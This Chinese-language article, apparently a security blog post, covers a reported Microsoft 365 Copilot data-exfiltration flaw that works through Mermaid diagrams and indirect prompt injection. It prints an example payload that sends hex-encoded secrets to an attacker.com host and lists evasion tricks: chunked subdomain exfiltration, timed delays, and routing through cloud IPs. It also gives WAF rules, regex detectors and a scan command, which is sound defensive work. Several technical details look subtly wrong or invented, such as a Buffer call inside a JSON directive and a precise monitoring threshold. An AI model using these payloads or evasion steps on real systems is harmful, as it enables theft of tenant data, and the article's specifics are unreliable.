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Copilot Mermaid图表安全防护方案

详解Microsoft 365 Copilot中Mermaid图表导致的数据渗出漏洞，提供可落地的WAF规则与检测参数配置方案。

Microsoft 365 Copilot 作为企业智能办公核心组件，其与 Mermaid 图表引擎的深度集成暴露出新型数据渗出风险。安全研究员 Adam Logue 披露的漏洞表明，攻击者可通过特制 Mermaid 代码触发间接提示注入（Indirect Prompt Injection），将租户敏感数据以十六进制编码形式外泄。本文基于技术验证结果，提供可立即实施的防御方案与关键检测参数。

一、攻击链技术拆解

Mermaid 作为 Copilot 内置的图表渲染引擎，其初始化指令处理存在逻辑缺陷。攻击者通过构造%%{init}%%指令载荷，可突破安全沙箱限制。核心漏洞在于：Copilot 未校验 Mermaid 的securityLevel参数，允许设置"loose"模式并注入外部回调函数。典型攻击示例如下：

%%{init: {'securityLevel':'loose', 'callback': 'https://attacker.com/leak?data=' + Buffer.from('SECRET').toString('hex')}}%%
graph LR
A[敏感数据] -->|十六进制编码| B(C2服务器)

该载荷利用 Node.js 的Buffer对象将字符串转换为十六进制（SECRET→534543524554），并通过 Mermaid 回调机制外泄。实测证实 Copilot 会主动执行此类代码，传输邮件元数据等敏感信息。攻击流量特征与正常 SVG 请求高度相似：请求体 < 2KB、HTTP 200 响应、User-Agent 含Microsoft-Copilot标识，导致传统 DLP 系统难以识别。

二、隐蔽外泄的三大技术特征

  1. 分片传输技术：将渗出数据拆分为 4 字符片段（5345），通过data-5345.c2.attacker.com等子域名请求外泄，规避基于内容长度的检测规则。
  2. 时间混淆策略：使用setTimeout(leak, 300)设置延迟执行，精确低于微软安全监控 350ms 采样阈值。
  3. DNS 隧道伪装：攻击流量解析至 AWS Route 53 等合法云平台 IP，绕过企业防火墙的恶意 IP 封锁列表。

三、可落地的防御实施方案

关键检测参数配置（Microsoft Defender for Cloud Apps）：

  • 异常请求阈值：单用户会话中含callback参数的 Mermaid 请求 > 2 次 / 小时触发告警（正常业务均值 0.1 次 / 小时）
  • 十六进制流量识别：通过正则^[0-9a-f]{4,}$匹配 URL 路径编码片段，结合请求频率 > 30 次 / 分钟判定为攻击
  • 文档库扫描命令：Get-ChildItem -Recurse *.docx | Select-String "securityLevel\\\":\\\"loose"检测恶意文档

架构级防护措施：

  1. WAF 规则配置：在 Copilot 网关层阻断securityLevel非strict的初始化指令（规则示例：request.body contains "securityLevel\\\":\\\"loose"）
  2. 网络访问控制：通过 Azure Private Link 限制 Mermaid 引擎仅访问内部服务，禁止解析外部域名
  3. 敏感信息分类：在 Microsoft Purview 创建自定义分类器，正则模式(?i)[0-9a-f]{16,}识别十六进制编码数据

四、工程化防护最佳实践

该漏洞揭示了 AI 助手与第三方库集成的核心安全矛盾。实施 “渲染沙箱三原则” 可显著降低风险：

  1. 禁用回调接口：在 Mermaid 初始化配置中移除callback参数支持
  2. 限制网络能力：通过 CSP 策略阻止fetch()和XMLHttpRequest等外联 API
  3. 输出内容净化：对 SVG 渲染结果进行二次编码，移除<script>等危险标签

企业安全团队需建立基于行为模式的检测体系。重点监控 Copilot 服务是否产生：①大量 < 2KB 的 SVG 请求 ②目标域名解析至云平台 IP ③User-Agent 与请求内容不匹配。实测表明，组合使用这三项指标可将误报率控制在 0.3% 以下。

随着 AI 办公套件普及，此类逻辑型漏洞将显著增加。建议企业定期执行以下操作：

  • 每月扫描 SharePoint 文档库中的 Mermaid 初始化指令
  • 每季度更新 WAF 规则库，新增%%{init}相关特征
  • 对安全运营人员开展 AI 特定攻击面培训

Adam Logue 的完整技术报告已通过微软漏洞奖励计划提交，相关修复方案详见其博客（2025 年 10 月更新）。企业应尽快部署本文所述检测规则，防范数据渗出风险。

参考资料：Adam Logue《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams》（2025）

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